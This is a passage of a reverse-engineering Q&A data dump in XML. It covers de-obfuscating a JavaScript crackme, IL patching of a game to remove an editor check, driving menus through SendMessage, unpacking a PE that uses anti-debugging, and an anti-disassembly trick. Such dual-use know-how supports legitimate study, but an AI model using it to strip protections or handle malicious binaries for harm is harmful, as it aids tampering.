+(ó-É)+(É+ó)+(É+É)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\'')())()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see that the first and second lines assign values to several variables (&lt;code&gt;É&lt;/code&gt;, &lt;code&gt;ó&lt;/code&gt;, &lt;code&gt;Ë&lt;/code&gt;, &lt;code&gt;þ&lt;/code&gt;, &lt;code&gt;Ì&lt;/code&gt;). Then, the third line calls &lt;code&gt;Ì&lt;/code&gt; (since it ends with '&lt;code&gt;()&lt;/code&gt;').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to de-obfuscate the code, you can paste it in the browser console and replace the last two characters ('&lt;code&gt;()&lt;/code&gt;') with &lt;code&gt;.toString()&lt;/code&gt; - printing the function instead of calling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result would be:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;function anonymous(&#xA;) {&#xA;a=prompt('Entrez le mot de passe');if(a=='toto123lol'){alert('bravo');}else{alert('fail...');}&#xA;}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27837" LastEditorUserId="27837" LastEditDate="2019-12-06T21:39:17.113" LastActivityDate="2019-12-06T21:39:17.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22681" PostTypeId="1" AcceptedAnswerId="22685" CreationDate="2019-12-07T01:52:19.650" Score="1" ViewCount="213" Body="&lt;p&gt;Background info - For the game 7 Days To Die, there is a C# wrapper that implements the Harmony API, which allows us to intercept the game's function calls, as well as changing the IL instructions themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I originally used the Transpiler functionality to remove a condition that's used in two checks. Which was easy enough, as I just needed to remove three instructions. Here's a screenshot showing them: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r5Wmj.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left is the old code, which was easy enough to modify. I just needed to remove the instructions at indexes &lt;strong&gt;79&lt;/strong&gt;, &lt;strong&gt;80&lt;/strong&gt;, and &lt;strong&gt;81&lt;/strong&gt;. Which changes the C# code from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;this.cmds[1].enabled = (_world.IsEditor() &amp;amp;&amp;amp; flag);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;this.cmds[1].enabled = (flag);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which worked perfectly. However, the DLL was changed in an update. The C# code is the exact same, but the IL instructions differ at this very last condition check. And I can't quite wrap my head around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original was easy enough. &lt;code&gt;IL 79&lt;/code&gt; prepares something for the next function call, &lt;code&gt;IL 80&lt;/code&gt; makes the call, and &lt;code&gt;IL 81&lt;/code&gt; jumps past the next couple of instructions if it returns false. In ASM, the three instructions would basically be &lt;code&gt;pop&lt;/code&gt; (call class' function via a pointer), &lt;code&gt;cmp&lt;/code&gt; (check the boolean result), and &lt;code&gt;jz&lt;/code&gt; (jump if false).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the updated IL instructions on the right don't make any sense to me. There's no branch, there's no jump. How do I work with that to remove the &lt;code&gt;_world.IsEditor()&lt;/code&gt; condition?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;a href=&quot;https://pastebin.com/XEncgdet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pastebin of the C# function&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29505" LastEditorUserId="29505" LastEditDate="2019-12-07T18:05:00.117" LastActivityDate="2019-12-07T18:34:34.357" Title="C# - Identical block of code, but IL instructions changed after update. How do I modify the more convoluted update?" Tags="|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22682" PostTypeId="1" CreationDate="2019-12-07T10:13:22.697" Score="0" ViewCount="381" Body="&lt;p&gt;Is it possible to use/call programs' GUI abilities directly without using the GUI (programmatically, not by keyboarding)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a program with abilities nested too deeply in cascading submenus:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ThYGP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ThYGP.png&quot; alt=&quot;Trigger directly?&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to use/trigger any of those menu items directly/programmatically... &lt;em&gt;as if you had clicked it directly using the GUI&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess sort of like a reverse-engineered &quot;API&quot;. I'd assume it'd require some sort of live debugging to see where the program reaches or calls for in memory when a GUI item is clicked. Then hopefully after you've seen where that is, you could call it yourself at will, or record the program's messaging/queuing to do it, and then you could replay that at will, able to use or activate abilities of the program without having to touch the GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another simple example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/riamw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/riamw.png&quot; alt=&quot;Notepad GUI&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windows Notepad, the only way to enable &quot;Word-Wrap&quot; is by clicking it in the menu bar menus (keyboard navigating the same). But behind the GUI curtain, somewhere in memory there's a function that gets called or flag bit set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it's possible to trigger/call those abilities/functions directly yourself (programmatically), pulling the GUI puppet-strings manually, activating the functions on the other end of the strings without using the GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a GUI is basically just a point-and-click map with strings attached to back-end functions/code in memory, I would think this might be possible, barring program memory protections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I'm asking this question 100% from a reverse-engineering perspective, and not for how to do this via macro/scripting/automation. I'm well aware of tools like AutoHotkey, AutoIt, etc., but that's not why I'm asking the question.&lt;/p&gt;&#xA;" OwnerUserId="2153" LastEditorUserId="2153" LastEditDate="2019-12-07T12:21:43.533" LastActivityDate="2019-12-13T21:30:38.647" Title="Is it possible to use a program's GUI abilities without the GUI?" Tags="|ida|disassembly|windows|debugging|memory|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22683" PostTypeId="1" CreationDate="2019-12-07T14:31:32.080" Score="1" ViewCount="290" Body="&lt;p&gt;So i have a PE that unpacks itself and rewrites the entrypoint and so on (not the header)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i unpacked it using scylla and x32dbg, i set the OEP to the previous OEP since it writes the unpacked one from there, and the IAT search was successful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the problem is after dumping it and loading it in IDA so i can use the decompiler, the API calls are like MEMORY[address](a , b . c)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i couldn't use the IDA to debug it because it gave some error before reaching WriteProcessMemory, i guess some anti debugging stuff, even with scyllahide i couldn't bypass these errors, but weirdly enough x32dbg had no problems, errors are because of wrong memory access, but somehow x32dbg has no problem!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so how can i fix this? i checked the addresses in MEMORY[address] and they are in fact the address of API calls, but i guess since the program is using them directly and not via IAT then IDA cannot know what are they, i guess one fix would be somehow including those dlls in their exact address in the dumped PE but i dont know how &lt;/p&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="28173" LastEditDate="2019-12-07T15:02:07.573" LastActivityDate="2019-12-07T15:02:07.573" Title="How to dump a unpacked PE and still get the API names with IDA when they are called directly?" Tags="|ida|debugging|idapython|unpacking|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22684" PostTypeId="1" CreationDate="2019-12-07T15:04:51.780" Score="1" ViewCount="263" Body="&lt;p&gt;I have this __asm instruction in C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int func_0x8b4c55a0()&#xA;{&#xA;    __asm&#xA;    {&#xA;        call $ +5&#xA;        add[esp],5&#xA;        ret&#xA;    }&#xA;&#xA;}&#xA;int main()&#xA;{&#xA;    char cVar1;&#xA;    if ((cVar1 = func_0x8b4c55a0(), cVar1 == -0xe) || 1)&#xA;    {&#xA;        int a = 5;&#xA;        int b = 3;&#xA;        int c = 0;&#xA;        c = a + b;&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is how it looks like in IDA:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/E4htT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E4htT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it is possible to solve this &lt;code&gt;ret&lt;/code&gt; trick?&lt;/p&gt;&#xA;" OwnerUserId="29979" LastEditorUserId="29979" LastEditDate="2019-12-07T15:10:05.837" LastActivityDate="2019-12-09T18:24:30.467" Title="How to solve this anti-disassembler trick?" Tags="|ida|c|anti-debugging|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22685" PostTypeId="2" ParentId="22681" CreationDate="2019-12-07T15:53:02.917" Score="1" Body="&lt;p&gt;It looks like that previous code had an optimization done, so that if the left-hand side value was evaluated as &lt;code&gt;false&lt;/code&gt; the right one was not evaluated at all in the &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; operation as it would never result in &lt;code&gt;true&lt;/code&gt; anyway and &lt;code&gt;false&lt;/code&gt; can be used directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there's no such code but you can clearly see the &lt;code&gt;and&lt;/code&gt; being done, preceded by &lt;code&gt;ldloc.0&lt;/code&gt;. There's a missing code from the beginning of this function but if local variable at index 0 is your &lt;code&gt;flag&lt;/code&gt; you can remove those two instructions (so lines 81 and 82). From the code it looks like on the stack there should already by also a &lt;code&gt;1&lt;/code&gt; so that the instruction that stores the value with &lt;code&gt;stfld&lt;/code&gt; will work. If not you could add a &lt;code&gt;ldc.i4.1&lt;/code&gt; instead of those two that you removed.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2019-12-07T18:34:34.357" LastActivityDate="2019-12-07T18:34:34.357" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22686" PostTypeId="1" CreationDate="2019-12-07T16:25:29.820" Score="1" ViewCount="351" Body="&lt;p&gt;I have a dumped PE that has calls like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    ds:dword_4010B4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now these are actually addresses of APIs in kernel32.dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my problem is IDA doesn't know that these are kernel32 APIs and therefore in the decompiler all i see is stuff like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MEMORY[address](&amp;amp;v1, &quot;explorer.exe %s&quot;, &amp;amp;v2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which are API calls without names&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so how can i sync these API calls with their actual names? is there any way i can tell IDA that for example kernel32.dll is loaded at address x so it can therefore load it there statically or  dynamically and resolve these names ? &lt;/p&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2019-12-07T16:25:29.820" Title="How to load a library at a specific address in IDA and re-analyze the program statically?" Tags="|ida|debugging|idapython|unpacking|ida-plugin|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22688" PostTypeId="2" ParentId="22682" CreationDate="2019-12-07T20:15:19.607" Score="2" Body="&lt;p&gt;not sure what methodology you are looking for if the said gui is under some debugger &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can simply detour a patch  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if you are under the wndproc Thread of the gui You can use apis&lt;br&gt;&#xA;(for example for checking the menu wordwrap in notepad use CheckMenuItem(); )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or use the oldest trick SendMessage From an external App a demo and src of the third method is below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rDRbb.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rDRbb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;src compiled with 2017 community 32bit on a 32bit win 7 x86 machine using    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /W4 /analyze /Od /EHsc /nologo MENU.CPP /link /release&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;src&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#pragma comment(lib,&quot;user32.lib&quot;)&#xA;#define MAXSUBMENUS 100&#xA;int main(void) {&#xA;    printf(&quot;lets wrappify the notes pad\n&quot;);&#xA;    HWND notewnd = FindWindowA(&quot;Notepad&quot;, NULL);&#xA;    if (notewnd != NULL) {&#xA;        printf(&quot;notepad handle is %p\n&quot;, notewnd);&#xA;        HMENU menubar = GetMenu(notewnd);&#xA;        if (menubar != NULL) {&#xA;            printf(&quot;menubar handle is %p\n&quot;, menubar);&#xA;            int menuitemcount = GetMenuItemCount(menubar);&#xA;            printf(&quot;menubar contains %d Items\n&quot;, menuitemcount);&#xA;            if (menuitemcount &amp;gt; MAXSUBMENUS) { menuitemcount = MAXSUBMENUS; }&#xA;            HMENU submenus[MAXSUBMENUS] = { 0 };&#xA;            int submenuitemcount[MAXSUBMENUS] = { 0 };&#xA;            for (int i = 0; i &amp;lt; menuitemcount; i++) {&#xA;                submenus[i] = GetSubMenu(menubar, i);&#xA;                if (submenus[i] != NULL) {&#xA;                    submenuitemcount[i] = GetMenuItemCount(submenus[i]);&#xA;                    printf(&quot;submenu[%d] handle is %p and contains %d Items\n&quot;,&#xA;                        i, submenus[i], submenuitemcount[i]);&#xA;                }&#xA;            }&#xA;            for (int i = 0; i &amp;lt; submenuitemcount[2]; i++) {&#xA;                printf(&quot;format menu bypos %d ID = %u\n&quot;, i, &#xA;                    GetMenuItemID(submenus[2], i));&#xA;            }&#xA;            printf (&quot;%x\n&quot; , SendMessage(notewnd,WM_COMMAND,&#xA;            MAKEWPARAM(GetMenuItemID(submenus[2],0),0),(LPARAM)NULL));&#xA;        }&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or as extremecoder pointed out use the various available packages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit for 0xc0000022's comment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure whats special about sublime having never used it just installed it and  ran a brute based on the PID of sublime it seems to work  i gathered the Menu ID from spy++ for demo purposes but as seen from  the output one can see the Number of MEnu Item Count  as 10 in case of sublimes main window handle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int  GetHwnds(DWORD InPID, HWND *somewind){&#xA;    HWND hCurWnd = NULL;&#xA;    int i =0;&#xA;    do {&#xA;        hCurWnd = FindWindowEx(NULL, hCurWnd, NULL, NULL);&#xA;        DWORD pid = 0;        &#xA;        GetWindowThreadProcessId(hCurWnd, &amp;amp;pid);&#xA;        if (pid == InPID){&#xA;            somewind[i++] = hCurWnd;&#xA;            printf(&quot;Found hWnd %p\n&quot;, hCurWnd);&#xA;        }&#xA;    }&#xA;    while (hCurWnd != NULL);&#xA;    return i;&#xA;}&#xA;void main(int argc,char *argv[]) {&#xA;    if(argc !=2){&#xA;        printf (&quot;usage %s pid&quot;,argv[0]);&#xA;        exit(0);&#xA;    }&#xA;    HWND subyuck[0x50] = {NULL};    &#xA;    int yucks = GetHwnds(atoi(argv[1]),subyuck);&#xA;    for(int i=0;i&amp;lt;yucks;i++){&#xA;        if(subyuck[i] != NULL){&#xA;            printf(&quot;menu %p MenuItemCount %d\n&quot;,GetMenu(subyuck[i]),GetMenuItemCount(GetMenu(subyuck[i])));&#xA;            SendMessage(subyuck[i],WM_COMMAND,MAKEWPARAM(436,0),MAKELPARAM(0,0));&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\XXX\Desktop\yucketyyuck&amp;gt;cl /Zi /W4 /analyze /Od yucketyyuck.cpp /link /release user32.lib&#xA;Microsoft (R) C/C++ Optimizing Compiler Version 19.16.27025.1 for x86&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;yucketyyuck.cpp&#xA;Microsoft (R) Incremental Linker Version 14.16.27025.1&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;/out:yucketyyuck.exe&#xA;/debug&#xA;/release&#xA;user32.lib&#xA;yucketyyuck.obj&#xA;&#xA;C:\Users\XXX\Desktop\yucketyyuck&amp;gt;tasklist |grep -i sub*&#xA;sublime_text.exe              3272 Console                    1     18,684 K&#xA;&#xA;C:\Users\XXX\Desktop\yucketyyuck&amp;gt;yucketyyuck.exe 3272&#xA;Found hWnd 002104DE&#xA;Found hWnd 00240586&#xA;Found hWnd 00070322 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; gui thread &#xA;Found hWnd 001D02AA&#xA;menu 00000000 MenuItemCount -1&#xA;menu 00000000 MenuItemCount -1&#xA;menu 001A033D MenuItemCount 10 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; &#xA;menu 00000000 MenuItemCount -1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a gif just in case&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8MUi2.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8MUi2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;normally ResHack should show the Control ID's of Menu&lt;br&gt;&#xA;but in case of sublime text reshack does not show the Menus&lt;br&gt;&#xA;I have not checked why but i just retrieved all the ControlIDS (632 of them)    for which you can SendMessage WM_COMMAND-&gt;wNotify  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;using code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#define MAXANY 0x100&#xA;&#xA;void enumenu(HMENU hMenu) {&#xA;&#xA;    for (int i = 0; i &amp;lt; GetMenuItemCount(hMenu); i++)&#xA;    {&#xA;        char menustring[MAXANY] = { 0 };&#xA;        MENUITEMINFO mii = { 0 };&#xA;        mii.cbSize = sizeof(MENUITEMINFO);&#xA;        mii.fMask = MIIM_STATE | MIIM_TYPE | MIIM_SUBMENU | MIIM_ID;&#xA;        mii.dwTypeData = menustring;&#xA;        mii.cch = MAXANY;&#xA;        GetMenuItemInfoA(hMenu, i, TRUE, &amp;amp;mii);&#xA;        printf(&quot;%8u   &quot;, mii.wID);&#xA;        if( (mii.fState &amp;amp; MFS_CHECKED) == MFS_CHECKED)&#xA;            printf(&quot;X   &quot;);&#xA;        else &#xA;            printf(&quot;    &quot;);&#xA;&#xA;        if (mii.fType == MFT_SEPARATOR)&#xA;        {&#xA;            printf(&quot;------------------\n&quot;);&#xA;        }&#xA;        if (mii.fType == MFT_STRING)&#xA;        {&#xA;            printf(&quot;---%s\n&quot;, menustring);&#xA;        }&#xA;        if (mii.hSubMenu != NULL)&#xA;        {&#xA;            enumenu(mii.hSubMenu);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;int  GetHwnds(DWORD InPID, HWND *somewind) {&#xA;    HWND hCurWnd = NULL;&#xA;    int i = 0;&#xA;    do {&#xA;        hCurWnd = FindWindowEx(NULL, hCurWnd, NULL, NULL);&#xA;        DWORD pid = 0;&#xA;        GetWindowThreadProcessId(hCurWnd, &amp;amp;pid);&#xA;        if (pid == InPID) {&#xA;            if (i &amp;gt; MAXANY) { return i; }&#xA;            somewind[i++] = hCurWnd;&#xA;        }&#xA;    } while (hCurWnd != NULL);&#xA;    return i;&#xA;}&#xA;void main(int argc, char *argv[]) {&#xA;    if (argc != 2) {&#xA;        printf(&quot;usage %s pid&quot;, argv[0]);&#xA;        exit(0);&#xA;    }&#xA;    HWND subyuck[MAXANY] = { NULL };&#xA;    int yucks = GetHwnds(atoi(argv[1]), subyuck);&#xA;    for (int i = 0; i &amp;lt; yucks; i++) {&#xA;        if (subyuck[i] != NULL) {&#xA;            HMENU submenu = GetMenu(subyuck[i]);&#xA;            enumenu(submenu);&#xA;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the menu controlIDS (436 in case of WordWrap is checked shown by an X)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  590370       ---&amp;amp;File&#xA;       0       ---&amp;amp;New File     Ctrl+N&#xA;       1       ---&amp;amp;Open Fileà   Ctrl+O&#xA;       2       ---Open Folderà&#xA; 1049112       ---Open &amp;amp;Recent&#xA;       3       ---Reopen Closed File    Ctrl+Shift+T&#xA;       4       ------------------&#xA;       5       ---Restored from abyss  (all invisible menu items with this name are dittoed with &quot;&quot;&#xA;       6       &quot;&quot;&#xA;       7       &quot;&quot;&#xA;       8       &quot;&quot;&#xA;       9       &quot;&quot;&#xA;      10       &quot;&quot;&#xA;      11       &quot;&quot;&#xA;      12       &quot;&quot;&#xA;      13       &quot;&quot;&#xA;      14       &quot;&quot;&#xA;      15       &quot;&quot;&#xA;      16       &quot;&quot;&#xA;      17       &quot;&quot;&#xA;      18       &quot;&quot;&#xA;      19       &quot;&quot;&#xA;      20       &quot;&quot;&#xA;      21       &quot;&quot;&#xA;      22       &quot;&quot;&#xA;      23       ---Clear Items&#xA;  262656       ---Reopen with Encoding&#xA;            removed allen coding IDS&#xA;      97       ---Save &amp;amp;Asà     Ctrl+Shift+S&#xA;      98       ---Save A&amp;amp;ll&#xA;      99       ------------------&#xA;     100       ---New &amp;amp;Window   Ctrl+Shift+N&#xA;     101       ---Close Window  Ctrl+Shift+W&#xA;     102       ------------------&#xA;     103       ---&amp;amp;Close File   Ctrl+W&#xA;     104       ---Re&amp;amp;vert File&#xA;     105       ---Close All Files&#xA;     106       ------------------&#xA;     107       ---E&amp;amp;xit&#xA; 1245462       ---&amp;amp;Edit&#xA;     108       ---&amp;amp;Undo Ctrl+Z&#xA;     109       ---&amp;amp;Redo Ctrl+Y&#xA;  590368       ---Undo Selection&#xA;     110       ---Soft Undo     Ctrl+U&#xA;     111       ---Soft Redo     Ctrl+Shift+U&#xA;     112       ------------------&#xA;     113       ---Cu&amp;amp;t  Ctrl+X&#xA;     114       ---&amp;amp;Copy Ctrl+C&#xA;     115       ---&amp;amp;Paste        Ctrl+V&#xA;     116       ---Paste and &amp;amp;Indent     Ctrl+Shift+V&#xA;     117       ---Paste from History    Ctrl+K, Ctrl+V&#xA;     118       ------------------&#xA;  262624       ---&amp;amp;Line&#xA;     119       ---Indent        Ctrl+]&#xA;     120       ---Unindent      Ctrl+[&#xA;     121       ---Reindent&#xA;     122       ---Swap Line Up  Ctrl+Shift+Up&#xA;     123       ---Swap Line Down        Ctrl+Shift+Down&#xA;     124       ---Duplicate Line        Ctrl+Shift+D&#xA;     125       ---Delete Line   Ctrl+Shift+K&#xA;     126       ---Join Lines    Ctrl+J&#xA;  590472       ---Co&amp;amp;mment&#xA;     127       ---Toggle Comment        Ctrl+/&#xA;     128       ---Toggle Block Comment  Ctrl+Shift+/&#xA;  197082       ---&amp;amp;Text&#xA;     129       ---Revert Modification   Ctrl+K, Ctrl+Z&#xA;     130       &quot;&quot;&#xA;     131       ------------------&#xA;     132       ---Insert Line Before    Ctrl+Shift+Enter&#xA;     133       ---Insert Line After     Ctrl+Enter&#xA;     134       ------------------&#xA;     135       ---Delete Word Forward   Ctrl+Delete&#xA;     136       ---Delete Word Backward  Ctrl+Backspace&#xA;     137       ---Delete Line   Ctrl+Shift+K&#xA;     138       ---Delete to End Ctrl+K, Ctrl+K&#xA;     139       ---Delete to Beginning   Ctrl+K, Ctrl+Backspace&#xA;     140       ------------------&#xA;     141       ---Transpose     Ctrl+T&#xA;  262582       ---Tag&#xA;     142       ---Close Tag     Alt+.&#xA;     143       ---Expand Selection to Tag       Ctrl+Shift+A&#xA;     144       ---Wrap Selection With Tag       Alt+Shift+W&#xA;  262672       ---Mark&#xA;     145       ---Set Mark      Ctrl+K, Ctrl+Space&#xA;     146       ---Select to Mark        Ctrl+K, Ctrl+A&#xA;     147       ---Delete to Mark        Ctrl+K, Ctrl+W&#xA;     148       ---Swap with Mark        Ctrl+K, Ctrl+X&#xA;     149       ---Clear Mark    Ctrl+K, Ctrl+G&#xA;     150       ------------------&#xA;     151       ---Yank  Ctrl+K, Ctrl+Y&#xA;  262674       ---Code Folding&#xA;     152       ---Fold  Ctrl+Shift+[&#xA;     153       ---Unfold        Ctrl+Shift+]&#xA;     154       ---Unfold All    Ctrl+K, Ctrl+J&#xA;     155       ------------------&#xA;     156       ---Fold All      Ctrl+K, Ctrl+1&#xA;       yyyyyyyyyyyyyyyyyyyyyyy&#xA;     165       ------------------&#xA;     166       ---Fold Tag Attributes   Ctrl+K, Ctrl+T&#xA;  131614       ---Convert C&amp;amp;ase&#xA;     167       ---Title Case&#xA;     168       ---Upper Case    Ctrl+K, Ctrl+U&#xA;     169       ---Lower Case    Ctrl+K, Ctrl+L&#xA;     170       ---Swap Case&#xA;  197238       ---Wrap&#xA;     171       ---Wrap Paragraph at Ruler       Alt+Q&#xA;      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzz&#xA;     178       ---Show Completions      Ctrl+Space&#xA;     179       ------------------&#xA;     180       ---&amp;amp;Sort Lines   F9&#xA;     181       ---Sort Lines (Case Sensitive)   Ctrl+F9&#xA;  328312       ---Permute Lines&#xA;     182       ---Reverse&#xA;     183       ---Unique&#xA;     184       ---Shuffle&#xA;  131644       ---Permute Selections&#xA;     185       ---Sort&#xA;     186       ---Sort (Case Sensitive)&#xA;     187       ---Reverse&#xA;     188       ---Unique&#xA;     189       ---Shuffle&#xA;     190       &quot;&quot;&#xA;  131646       ---&amp;amp;Selection&#xA;     191       ---Split into Lines      Ctrl+Shift+L&#xA;     192       ---Add Previous Line     Ctrl+Alt+Up&#xA;     193       ---Add Next Line Ctrl+Alt+Down&#xA;     194       ---Single Selection      Escape&#xA;     195       ---Invert Selection&#xA;     196       ------------------&#xA;     197       